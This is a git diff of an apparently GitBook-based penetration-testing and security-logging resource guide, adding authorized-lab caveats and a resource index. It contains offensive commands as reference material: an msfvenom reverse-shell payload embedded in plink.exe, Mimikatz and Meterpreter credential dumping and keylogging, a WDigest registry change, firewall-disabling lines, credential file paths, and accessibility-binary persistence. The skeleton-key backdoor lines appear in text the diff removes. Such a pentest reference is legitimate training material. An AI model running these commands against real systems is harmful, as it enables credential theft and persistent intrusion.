Blog](https://0xln.pw/MDXfindbible) * _Operator Handbook: MDXFind - pg. 195_ * [Ciphey](https://github.com/Ciphey/Ciphey) - Fully automated decryption/decoding/cracking tool using natural language processing & artificial intelligence, along with some common sense. +* [MD5 Decrypt](https://md5decrypt.net/en/) - Online hash lookup and hash conversion utility. * [cmospwd](https://www.kali.org/tools/cmospwd/) - a cross-platform tool to decrypt password stored in CMOS used to access a computer’s BIOS setup. * [crack](https://www.kali.org/tools/crack/) - Crack is program designed to quickly locate vulnerabilities in Unix (or other) password files by scanning the contents of a password file, looking for users who have misguidedly chosen a weak login password. * [rainbowcrack](https://www.kali.org/tools/rainbowcrack/) - RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. @@ -157,6 +152,9 @@ World's fastest and most advanced password recovery utility * [https://www.blackhillsinfosec.com/hashcat-4-10-cheat-sheet-v-1-2018-1/](https://www.blackhillsinfosec.com/hashcat-4-10-cheat-sheet-v-1-2018-1/) * [https://github.com/hashcat/hashcat/tree/master/rules](https://github.com/hashcat/hashcat/tree/master/rules) * [http://contest-2010.korelogic.com/rules-hashcat.html](http://contest-2010.korelogic.com/rules-hashcat.html) +* [NSA Rules](https://github.com/cyberspacekittens/nsa-rules) +* [Hob0Rules](https://github.com/cyberspacekittens/Hob0Rules) +* [password_cracking_rules](https://github.com/cyberspacekittens/password_cracking_rules) * _Operator Handbook: Hashcat - pg. 90_ GPU cracking: @@ -172,7 +170,6 @@ $ hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rock [John The Ripper](https://www.offensive-security.com/metasploit-unleashed/john-ripper/) - The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. * [https://github.com/openwall/john](https://github.com/openwall/john) -* [https://tryhackme.com/room/johntheripper0](https://tryhackme.com/room/johntheripper0) * Jumbo John - John the Ripper distro with added features * [https://www.openwall.com/john/k/john-1.9.0-jumbo-1-win64.zip](https://www.openwall.com/john/k/john-1.9.0-jumbo-1-win64.zip) * Operator Handbook: John the Ripper - pg. 104 diff --git a/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md b/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md index d77d862..c88d7a3 100644 --- a/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md +++ b/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md @@ -59,3 +59,14 @@ msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe ## Windows reverse shell embedded into plink msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata\_ga\_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell\_reverse\_msf\_encoded\_embedded.exe + +## Payload and Malware Development References + +These are offensive development references. They were moved here from DFIR so the malware-analysis page can stay focused on defensive analysis. + +* [0xPat](https://0xpat.github.io/) - Red/purple team blog with malware development write-ups. +* [Malware Development Part 1](https://0xpat.github.io/Malware_development_part_1/) +* [Malware Development Part 2](https://0xpat.github.io/Malware_development_part_2/) +* [Coldfire](https://github.com/redcode-labs/Coldfire) - Golang malware development framework. +* [BYOB](https://github.com/malwaredllc/byob) - Open-source post-exploitation/botnet framework for research and training. + * [BYOB in Action](https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/) diff --git a/red-offensive/testing-methodology/post-exploitation/defense-evasion.md b/red-offensive/testing-methodology/post-exploitation/defense-evasion.md index 52657a8..f7d02cd 100644 --- a/red-offensive/testing-methodology/post-exploitation/defense-evasion.md +++ b/red-offensive/testing-methodology/post-exploitation/defense-evasion.md @@ -18,6 +18,7 @@ * [https://github.com/BC-SECURITY/DEFCON27](https://github.com/BC-SECURITY/DEFCON27) * [https://0xhop.github.io/evasion/2021/04/19/evasion-pt1/](https://0xhop.github.io/evasion/2021/04/19/evasion-pt1/) * [https://0xhop.github.io/evasion/2021/05/26/evasion-pt2/](https://0xhop.github.io/evasion/2021/05/26/evasion-pt2/) +* [DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) - Historical PowerShell logging disable proof of concept. Keep this in authorized lab context; modern PowerShell logging and EDR controls vary by environment. * [https://threatpost.com/six-malicious-linux-shell-scripts-how-to-stop-them/168127/](https://threatpost.com/six-malicious-linux-shell-scripts-how-to-stop-them/168127/) * [https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/](https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/) * _Penetration Testing: Bypassing Antivirus Applications - pg.257_ diff --git a/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md b/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md index e54f586..2d6e53f 100644 --- a/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md +++ b/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md @@ -67,9 +67,9 @@ iRedTeam blog - [https://www.ired.team/offensive-security/credential-access-and- LaZagne is an open-source tool used in post-exploitation to recover stored passwords on a system. Its modules support Windows, Linux, and OSX, but are primarily intended for Windows systems.\ Software uses different techniques to save credentials, such as saving them to a plaintext file, local databases or credential managers. LaZagne is able to search for these common methods and retrieve any passwords it finds.\ -LaZagne is capable of extracting passwords from 87 different software applications from the following categories of software:\ +LaZagne is capable of extracting passwords from many software applications across these categories:\ Browsers, Chats, Databases, Games, Git, Mails, Maven, Dumps from memory, Multimedia, PHP, SVN, Sysadmin, WIFI, and Internal mechanism password storage\ -The LaZagne tool along with a full list of software that it supports is available in the [public GitHib repository](https://github.com/AlessandroZ/LaZagne). +The LaZagne tool along with a full list of supported software is available in the [public GitHub repository](https://github.com/AlessandroZ/LaZagne). [https://www.youtube.com/watch?v=AwFyiFOXrd0](https://www.youtube.com/watch?v=AwFyiFOXrd0)\ \ @@ -105,20 +105,20 @@ Simply double clicking on the executable ‘Lazagne.exe' will cause a warning me * [SafetyKatz](https://github.com/GhostPack/SafetyKatz) - SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. * [spraykatz](https://www.kali.org/tools/spraykatz/) - This package contains a tool without any pretention able to retrieve credentials on Windows machines and large Active Directory environments. * [pypykatz](https://github.com/skelsec/pypykatz) - Mimikatz implementation in pure Python -* Can be run im memory so you dont drop and executable on the target -* Commands - will give clear text pw of currently logged in users +* Can be run in memory so you do not drop an executable on the target. +* Commands to dump credential material from currently logged-in users: * \> C:\Tools\password\_attacks\mimikatz.exe * \# privilege::debug * \# token::elevate #elevate session to SYSTEM level * \# kerberos * \# wdigest * \# lsadump::sam #Dump SAM database -* Windows 10 issue - Mimikatz will pull a NULL value when pulling creds as they are no longer in LSASS - * Set registry key to put the credentials back into LSASS +* Legacy WDigest note: modern Windows versions no longer keep cleartext WDigest credentials in LSASS by default. Re-enabling `UseLogonCredential` is a legacy regression test and should only be done in an explicitly authorized lab. + * Set this registry key only if that legacy behavior is in scope: * \> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f * Empire Command version * \>shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f - * You will need the user to relog into the system for this to take affect. Force this by locking thier workstation. + * The user must log in again before credentials appear in LSASS. * rundll32.exe user32.dll,LockWorkStation * Mimikatz NTLM hash of all users * \#reg save hklm\sam filename1.hiv @@ -127,31 +127,11 @@ Simply double clicking on the executable ‘Lazagne.exe' will cause a warning me * mimikatz#token::elevate * mimikatz#log hash.txt * mimikatz#lsadump::sam filename1.hiv filename2.hiv -* Mimikittenz +* [Mimikittenz](https://github.com/putterpanda/mimikittenz) * POC style tool that utilizes windows function ReadProcessMemory() to extract plain text passwords from various targets such as browsers * Search queries preloaded for Gmail, O365, Jira, github, bugzilla,zendesk, Cpanel, Dropbox, onedrive, AWS, SLack, Twitter, and Facebook * Does not require Local admin, it runs in Userland mem - * [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis) - * Back door a privileged AD account with Mimikatz - * To install the skeleton key - * \>mimikatz.exe “privilege::debug” “misc::skeleton” exit - * Use - * \>net use \* \\\dc\c$ mimikatz /user:lab@attacker.domain - * [https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/](https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/) - * [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis) - * Back door a privileged AD account with Mimikatz - * To install the skeleton key - * \>mimikatz.exe “privilege::debug” “misc::skeleton” exit - * Use - * \>net use \* \\\dc\c$ mimikatz /user:lab@attacker.domain - * [https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/](https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/) - * [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis) - * Back door a privileged AD account with Mimikatz - * To install the skeleton key - * \>mimikatz.exe “privilege::debug” “misc::skeleton” exit - * Use - * \>net use \* \\\dc\c$ mimikatz /user:lab@attacker.domain - * [https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/](https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/) + * Skeleton Key persistence is covered once in the Skeleton Key tab below. {% endtab %} {% endtabs %} @@ -278,15 +258,16 @@ DCSync (Modern) {% endtab %} {% tab title="GPP Vuln" %} -Group Policy Preference Vul +Group Policy Preferences vulnerability -* Info for accounts under GPP stored in a Groups.xml file that contains cpassword hash. -* Uses a publiclally posed Microsoft AES , easy to find, easy to use -* Exploit available Under powersploit script Get-GPPPassword.ps1 +* Account information stored through vulnerable GPP configurations can appear in `Groups.xml` with a `cpassword` value. +* Microsoft published the AES key used for GPP `cpassword` values, so these passwords are recoverable. +* Exploit available under the PowerSploit script `Get-GPPPassword.ps1`. * Metasploit module * \>use post/windows/gather/credentials/gpp * \>set SESSION \[Session # of your shell] * \>exploit +* [gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/) - Decrypts Group Policy Preferences `cpassword` strings. * [http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py](http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py) * [Net-GPPPassword](https://github.com/outflanknl/Net-GPPPassword) - .NET implementation of Get-GPPPassword. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. {% endtab %} diff --git a/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md b/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md index 0e53b56..805cdb0 100644 --- a/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md +++ b/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md @@ -1,55 +1,92 @@ # Meterpreter Post-Auth Runbook -Meterpreter Post-exploitation Modules ◇ > use post/windows/gather/enum\_logged\_on\_users ◇ Railgun - Meterpreter extension that allows direct access to Windows APIs ◇ IRB - ruby shell in meterpreter - -Meterpreter Post Auth - -* Info gathering - * getuid - * getpid - * getsprivs - * sysinfo - * screenshot - * run winenum.rb - * run scraper.rb - * run checkvm - * run credscollect - * run get\_local\_subnets -* Priv Esc - * ps then migrate - * getsystem -* Tokens - * list\_tokens -u - * impersonate\_token - * steal\_token \[pid] - * rev2self -* Retrieve passwords - * hashdump - * cachedump - * post/windows/gather/smart\_hashdump - * post/windows/gather/credentials/vnc -* Session - * enumdesktops - * getdesktop - * setdesktop - * uictl disable keyboard -* keylog - * keyscan\_start - * keyscan\_dump - * keyscan\_stop - * Nix Post Auth -* Disable Firewall - * /etc/init.d/iptables save - * /etc/init.d/iptables stop - * iptables-save > root/firewall.rules - * iptables-restore < /root/firewall.rules -* Files to pull - * /etc/passwd - * /etc/shadow OR /etc/security/shadow - * /etc/groups OR /etc/gshadow - * /home/_/.ssh/id_ - * /etc/sudoers -* User Information - * grep ^ssh /home/_/._hist __ - * _grep ^telnet /home/_/._hist_ - * grep ^mysql /home/_/._hist\* +Use this as a quick checklist after getting a Meterpreter session during an authorized engagement. Meterpreter is heavily detected in modern environments, so document exactly what was run and prefer the least invasive command that answers the test objective. + +## Session Context + +```text +getuid +getpid +getprivs +sysinfo +ipconfig +route +``` + +## Discovery Modules + +```text +run post/windows/gather/enum_logged_on_users +run winenum +run scraper +run checkvm +run get_local_subnets +``` + +Railgun provides direct access to Windows APIs, and IRB opens a Ruby shell inside Meterpreter. Use both carefully because they make sessions harder to reproduce from notes if you do not record exact commands. + +## Privilege and Token Work + +```text +getsystem +ps +migrate +list_tokens -u +impersonate_token +steal_token +rev2self +``` + +## Credential Collection + +```text +hashdump +run post/windows/gather/smart_hashdump +run post/windows/gather/credentials/vnc +``` + +For broader credential harvesting workflows, use the Enumeration and Harvesting page. + +{% content-ref url="enumeration-and-harvesting.md" %} +[enumeration-and-harvesting.md](enumeration-and-harvesting.md) +{% endcontent-ref %} + +## Desktop and Interaction + +```text +enumdesktops +getdesktop +setdesktop +screenshot +keyscan_start +keyscan_dump +keyscan_stop +``` + +Only use keyboard capture, screenshots, and interactive desktop controls when they are explicitly permitted by the rules of engagement. + +## Linux Post-Auth Notes + +```bash +/etc/init.d/iptables save +/etc/init.d/iptables stop +iptables-save > /root/firewall.rules +iptables-restore < /root/firewall.rules +``` + +Files commonly collected during Linux post-auth review: + +* `/etc/passwd` +* `/etc/shadow` or `/etc/security/shadow` +* `/etc/group` or `/etc/gshadow` +* `/home/*/.ssh/id_*` +* `/etc/sudoers` +* shell history files under `/home/*/` + +History quick checks: + +```bash +grep -i '^ssh' /home/*/.*_history +grep -i '^telnet' /home/*/.*_history +grep -i '^mysql' /home/*/.*_history +``` diff --git a/red-offensive/testing-methodology/post-exploitation/persistence.md b/red-offensive/testing-methodology/post-exploitation/persistence.md index a26a329..d453aaf 100644 --- a/red-offensive/testing-methodology/post-exploitation/persistence.md +++ b/red-offensive/testing-methodology/post-exploitation/persistence.md @@ -163,13 +163,13 @@ The goal of BDF is to patch executable binaries with user desired shellcode and * One common, low-skill method of achieving persistence is replacing the Windows accessibility features’ binary files with their own malicious binary or simply a renamed copy of Windows ‘cmd.exe’. * When a user tries to use the accessibility features, for example sticky keys, they will execute the ‘sethc.exe’ binary, which the attacker may have replaced with 'cmd.exe'. The result is that the user will be presented with a Windows command prompt. * Due to the Windows accessibility features being available from the lock screen of desktops and servers, they can be triggered without any credentials; and due to no user being logged into the machine, Windows has no concept of who should be triggering the binary. As such, the malicious binary will run under the context of the SYSTEM account. Desktops and servers which have RDP enabled increase the risk of an attacker being able to remotely trigger the persistence mechanism. -* The binaries for the accessibility features can be found in C:\Windows\System32\\ - * `sethc.exe – Sticky Keys`\ - `◇ Magnify.exe – Magnifier`\ - `◇ toolosk.exe – On-Screen Keyboard`\ - `◇ Narrator.exe – Narrator`\ - `◇ DisplaySwitch.exe – Display Switcher`\ - `◇ AtBroker.exe – App Switcher` +* The binaries for the accessibility features can be found in `C:\Windows\System32\`. + * `sethc.exe` - Sticky Keys + * `Magnify.exe` - Magnifier + * `osk.exe` - On-Screen Keyboard + * `Narrator.exe` - Narrator + * `DisplaySwitch.exe` - Display Switcher + * `AtBroker.exe` - App Switcher * The Image File Execution Option (IFEO) function allows for adding a debugging key into the registry, which causes the debugging binary to be executed when the target is launched. * `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\` * This registry entry then adds string values (REG\_SZ) called ‘Debugger’, with a value which contains the path and binary name, i.e ‘C:\Users\Administrator\Malware.exe’ diff --git a/red-offensive/wireless-hacking.md b/red-offensive/wireless-hacking.md index 27239c8..e830b63 100644 --- a/red-offensive/wireless-hacking.md +++ b/red-offensive/wireless-hacking.md @@ -13,8 +13,17 @@ * [mdk4](https://www.kali.org/tools/mdk4/) - A Wi-Fi testing tool from E7mer, ASPj of k2wrlz, it uses the osdep library from the aircrack-ng project to inject frames on several operating systems. * [c41n](https://github.com/MS-WEB-BN/c41n) - Automated rogue access point setup tool. * [https://hakin9.org/c41n-an-automated-rogue-access-point-setup-tool/](https://hakin9.org/c41n-an-automated-rogue-access-point-setup-tool/) -* Training - * [https://tryhackme.com/room/wifihacking101](https://tryhackme.com/room/wifihacking101) +Training rooms are maintained in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} + +Bettercap wireless and MITM usage overlaps with the network attacks page. + +{% content-ref url="post-exploitation/network-attacks-harvesting-mitm.md" %} +[network-attacks-harvesting-mitm.md](post-exploitation/network-attacks-harvesting-mitm.md) +{% endcontent-ref %} ## Bluetooth diff --git a/resource-index.md b/resource-index.md new file mode 100644 index 0000000..0dc260b --- /dev/null +++ b/resource-index.md @@ -0,0 +1,70 @@ +--- +description: Search-friendly index of cyber security resource topics across blue team, red team, DFIR, OSINT, cloud, containers, AppSec, logging, privacy, and training. +--- + +# Resource Index + +This index points common search topics to their canonical page in the guide. It is intentionally high-level: detailed links and tool lists live on the section pages. + +## Blue Team and SOC + +* **Blue team resources, SOC operations, defensive security, hardening, threat hunting**: [Blue - Defensive Operations](blue-defense/README.md) +* **Detection engineering, SIEM rules, Sigma, Sysmon, IDS/IPS, detection use cases**: [Event Detection](blue-defense/event-detection/README.md) +* **Security query languages, KQL, Splunk SPL, Sigma, YARA-L, SIEM searches**: [Query Languages](blue-defense/query-languages.md) +* **Packet capture, PCAP analysis, Wireshark, Zeek, Suricata, network security monitoring**: [Packet Analysis](blue-defense/packet-analysis.md) +* **Vulnerability management, exposure management, code scanning, secret scanning**: [Asset and Vulnerability Management](blue-defense/vulnerability-management.md) + +## Logging and Architecture + +* **Security logging strategy, log collection, retention, log pipelines**: [Logging and Security Architecture](security-logging/README.md) +* **Endpoint logging, Windows Event Logs, Linux logs, Sysmon collection**: [Logging - Endpoint Logs](security-logging/logging-guide-windows-endpoint-logs.md) +* **Cloud audit logs, AWS CloudTrail, Azure activity logs, Microsoft 365 audit, Google Cloud logging**: [Logging - Cloud](security-logging/logging-cloud.md) +* **DNS logs, HTTP logs, SMTP logs, flow data, network service logs**: [Logging - Network Services](security-logging/logging-guide-network-services.md) +* **Asset inventory, device discovery, CMDB context, log source evaluation**: [Device Discovery and Asset Monitoring](security-logging/device-discovery-and-asset-inventory.md) + +## DFIR and Malware Analysis + +* **Incident response, DFIR tools, forensic triage, evidence collection**: [Blue - DFIR](dfir-digital-forensics-and-incident-response/README.md) +* **Windows DFIR commands, Windows event logs, process analysis, remediation commands**: [Windows DFIR Checks](dfir-digital-forensics-and-incident-response/windows-dfir-checks.md) +* **Linux DFIR commands, macOS DFIR commands, host investigation**: [Linux DFIR Commands](dfir-digital-forensics-and-incident-response/linux-dfir-commands.md) and [macOS DFIR Commands](dfir-digital-forensics-and-incident-response/macos-dfir-commands.md) +* **Memory forensics, Volatility, process memory, injected code**: [Memory Forensics](dfir-digital-forensics-and-incident-response/memory-forensics/README.md) +* **Malware analysis, sandboxing, file analysis, YARA, reverse engineering**: [Malware](dfir-digital-forensics-and-incident-response/malware.md) + +## Cyber Intelligence and OSINT + +* **Cyber threat intelligence, CTI, intelligence cycle, indicator enrichment**: [Cyber Intelligence](cyber-intelligence/README.md) +* **Threat feeds, blocklists, reputation sources, MISP, OpenCTI, TAXII/STIX**: [Intel Feeds and Sources](cyber-intelligence/intel-feeds-and-sources.md) +* **Threat data, hashes, URLs, domains, IP reputation, malware lookup**: [Threat Data](cyber-intelligence/threat-data.md) +* **OSINT tools, search engines, domain investigation, username and email investigation**: [OSINT](cyber-intelligence/osint/README.md) +* **Shodan, Censys, ZoomEye, FOFA, internet-exposed asset search**: [Cyber Search Engines](cyber-intelligence/osint/cyber-search.md) + +## Offensive Security + +* **Penetration testing, red team operations, offensive methodology**: [Red - Offensive Operations](red-offensive/README.md) +* **Active reconnaissance, Nmap, vulnerability scanning, recon frameworks**: [Reconnaissance and Scanning](red-offensive/scanning-active-recon/README.md) +* **Exploitation, Metasploit, payloads, shells, exploit research**: [Exploitation and Targets](red-offensive/exploitation-and-targets/README.md) +* **Post-exploitation, persistence, defense evasion, credential harvesting**: [Post Exploitation](red-offensive/testing-methodology/post-exploitation/README.md) +* **Active Directory attacks, lateral movement, password attacks, C2 frameworks**: [Attacking Active Directory](red-offensive/testing-methodology/active-directory.md) + +## Web Application Security + +* **Web application hacking, AppSec testing, bug bounty methodology, OWASP testing**: [Web App Hacking](web-app-hacking/README.md) +* **Burp Suite, Burp extensions, web proxy testing**: [Burp Suite](web-app-hacking/burp-suite.md) +* **Web app scanners, content discovery, API testing utilities**: [Web App Scanning Utilities](web-app-hacking/scanning-utilities.md) +* **OAuth, API security, TLS, certificates, WAF testing, web technologies**: [Web Technologies](web-app-hacking/web-technologies/README.md) +* **SQL injection, XSS, CSRF, XXE, request smuggling, IDOR, host header attacks**: [Attacks and Vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/README.md) + +## Platform and Engineering Fundamentals + +* **Cloud security, AWS, Azure, Google Cloud, Microsoft 365, cloud testing**: [Cloud](cloud.md) +* **Docker, Kubernetes, container security, image scanning, runtime security**: [Containers](containers.md) +* **Networking, sysadmin, operating systems, Active Directory basics, protocols**: [Yellow - NetEng/SysAdmin](yellow-neteng-sysadmin.md) +* **Bash, PowerShell, command line, regex, scripting, data transformation**: [Yellow - Code and CLI](code-tools/README.md) +* **AI, machine learning, FOSS alternatives, security research datasets**: [Yellow - AI, Machine Learning, and FOSS](yellow-ai-machine-learning-and-foss.md) + +## Privacy, OPSEC, and Training + +* **Privacy, Tor, PGP, anonymity, secure communication, OPSEC**: [Grey - Privacy/TOR/OPSEC](grey-privacy-tor-opsec/README.md) +* **Cyber security training, courses, certifications, books, labs, CTF practice**: [Training and Resources](training/README.md) +* **Awesome lists, massive security resource collections, curated GitHub lists**: [The Awesome Lists](training/the-awesome-lists.md) +* **Practice labs, home labs, vulnerable environments, CTF platforms**: [Practice Lab](training/practice-lab.md) diff --git a/security-logging/README.md b/security-logging/README.md index f8c8e62..b04990a 100644 --- a/security-logging/README.md +++ b/security-logging/README.md @@ -1,154 +1,145 @@ --- -description: Logs and the logging loggers that log them +description: Security logging architecture resources for log collection, endpoint logs, cloud audit logs, network telemetry, retention, and log source evaluation. --- # Logging and Security Architecture -## **Logging Guides** +Security logging is the foundation for investigations, detections, threat hunting, compliance, and operational troubleshooting. This section focuses on what to collect, how to collect it, where to store it, and how to keep log quality high enough to support real work. -* [https://its.uiowa.edu/support/article/3576](https://its.uiowa.edu/support/article/3576) - Limiting or Removing Unwanted Network Traffic at the Client -* [https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Cheat\_Sheet.html) -* [https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Vocabulary\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Vocabulary\_Cheat\_Sheet.html) -* [https://github.com/Neo23x0/auditd](https://github.com/Neo23x0/auditd) - Best Practice Auditd Configuration -* [https://github.com/JSCU-NL/logging-essentials](https://github.com/JSCU-NL/logging-essentials) - A Windows event logging and collection baseline focused on finding balance between forensic value and optimising retention. -* Setting up Network Sensors - _Applied Network Security Monitoring_ - PG. 49 -* Sensor Placement - _Applied Network Security Monitoring_ - PG. 61 +Detection engineering, SIEM rules, Sigma, and alert use cases live under Blue Defense. -## **Logging Data Types** +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -Before getting into the logging architecture, we need to define the various logging data types. These are the different forms of the data we use for Network Security Monitoring. +## Logging Guides -* **Packet Capture** - A complete record of every packet traveling back and forth, with all available metadata and transaction data. This is the most detailed form of data used for monitoring, but comes with an incredible storage cost. -* **Session Data** - Also called flow data, this is a summarized version of the target traffic that provides a significantly more flexible form for storage, while sacrificing content. -* **Statistical Data** - Various metrics and summary of data points found in network traffic. Variable per use case. -* **Packet String Data (PSTR)** - An intermediate form of capture between full Packet Capture and Session data. Contains specified strings from the captured traffic such as clear text protocol headers. -* **Log Data** - Raw log files generated from devices and applications. -* **Alert Data** - A specific event log generated from a detection device that can report anomalies or specific traffic patterns. +* [OWASP Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html) +* [OWASP Logging Vocabulary Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Vocabulary_Cheat_Sheet.html) +* [Neo23x0 Auditd](https://github.com/Neo23x0/auditd) - Best-practice Linux auditd configuration. +* [JSCU-NL Logging Essentials](https://github.com/JSCU-NL/logging-essentials) - Windows event logging and collection baseline focused on balancing forensic value and retention. +* _Applied Network Security Monitoring_: Setting up Network Sensors, pg. 49; Sensor Placement, pg. 61. + +Network hardening articles and unwanted-traffic reduction guidance belong with network detection use cases. + +{% content-ref url="../blue-defense/event-detection/detection-use-cases/general-network-traffic.md" %} +[general-network-traffic.md](../blue-defense/event-detection/detection-use-cases/general-network-traffic.md) +{% endcontent-ref %} + +## Logging Data Types + +* **Packet Capture** - Complete packet-level record. It is the richest network evidence, but storage cost is high. +* **Session / Flow Data** - Summarized connection metadata such as source, destination, ports, protocol, bytes, and timestamps. +* **Statistical Data** - Metrics and summaries derived from logs or traffic. +* **Packet String Data (PSTR)** - Selected strings extracted from network traffic, such as cleartext protocol headers or URLs. +* **Log Data** - Raw events generated by systems, applications, devices, cloud platforms, and services. +* **Alert Data** - Events produced by detection tools or correlation logic. + +Packet capture and NFAT tooling are maintained on the Packet Analysis page. + +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) +{% endcontent-ref %} + +## Section Map + +{% content-ref url="how-to-log.md" %} +[how-to-log.md](how-to-log.md) +{% endcontent-ref %} + +{% content-ref url="logging-guide-network-services.md" %} +[logging-guide-network-services.md](logging-guide-network-services.md) +{% endcontent-ref %} + +{% content-ref url="logging-guide-windows-endpoint-logs.md" %} +[logging-guide-windows-endpoint-logs.md](logging-guide-windows-endpoint-logs.md) +{% endcontent-ref %} + +{% content-ref url="logging-cloud.md" %} +[logging-cloud.md](logging-cloud.md) +{% endcontent-ref %} + +{% content-ref url="device-discovery-and-asset-inventory.md" %} +[device-discovery-and-asset-inventory.md](device-discovery-and-asset-inventory.md) +{% endcontent-ref %} + +{% content-ref url="log-source-evaluation.md" %} +[log-source-evaluation.md](log-source-evaluation.md) +{% endcontent-ref %} + +{% content-ref url="logging-user-behavior-monitoring.md" %} +[logging-user-behavior-monitoring.md](logging-user-behavior-monitoring.md) +{% endcontent-ref %} ## Logging System Components -The core components of most security monitoring programs is the Security Information and Event Management system (SIEM) and the logs that support it. The architecture behind the SIEM has many components that make up the security logging ecosystem. - -### **Log Collector** - The tools that gather up the logs. - -* **Log Agents -** Applications that can be installed on devices to collect generated logs as well as perform a huge amount of other functions including: parsing, diode support, filtering, rate control, log rotation, log buffering, encryption, priority routing, file/registry monitoring, and even alerting. - * A well configured agent will perform better than an agentless solution as remote authentication is not required. - * Standard SIEM Agents - Agents that are paired with their premium SIEM products have easier integration, but will often have less features than their open-source alternatives, as well as usually lack filtering capabilities at the agent. - * [Splunk Universal Forwarder](https://www.splunk.com/en\_us/download/universal-forwarder.html) - * [ArcSight Connectors](https://www.ndm.net/siem/arcsight/arcsight-connectors) - * [QRadar WinCollect](https://www.ibm.com/docs/en/qradar-on-cloud?topic=wincollect-overview) - * [LogRhythm System Monitor Service](https://logrhythm.com/products/features/collection-technology/) - * Open Source Agents - Feature rich, premium support available, and free. - * [Elastic Beats](https://www.elastic.co/beats/) - Fantastic log collection agents that specialize in certain types of logs. - * Log Collection Agents focus on logs for: File integrity monitoring, Windows Events, Packet monitoring, OS metrics, Cloud infrastructure, Audit data, and device health monitoring. - * Can get complicated managing so many different agents. - * _Threat Hunting in Elastic Stack: Filebeat - pg. 55_ - * _Threat Hunting in Elastic Stack: Packetbeat - pg. 60_ - * _Threat Hunting in Elastic Stack: Winlogbeat - pg. 63_ - * _Threat Hunting in Elastic Stack: ElasticAgent - pg. 65_ - * [NXLog](https://nxlog.co/) - Amazing agent with both a Community and Enterprise (Premium) editions. - * Free version has more features than many premium agents. - * Has premium support available. - * Supports tons of log formats including W3C logs, the log format of IIS, Exchange, and Bro/Zeek - * For endpoints, can be installed on both Windows and Linux and have its log output in the same format. - * Configuration Sections - * Input - defines what logs to monitor for collection - * Output - sets where logs should go and which protocol is used - * Route - maps inputs and outputs - * Extension Modules - converts between formats - * [NXLog-Autoconfig](https://github.com/SMAPPER/NXLog-AutoConfig) - With no customisation, the script will install Sysmon with the [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) config, generate a NXLog config to start pulling the Sysmon and Windows Security events. -* ****[**Syslog**](https://datatracker.ietf.org/doc/html/rfc5424) - Port 514. The most common protocol for logging. Can be TCP or UDP and can also be encrypted with TLS. Widely supported on most devices with the exception of Windows, which requires a third party agent. - * Standard fields include: Time, Source, Facility, 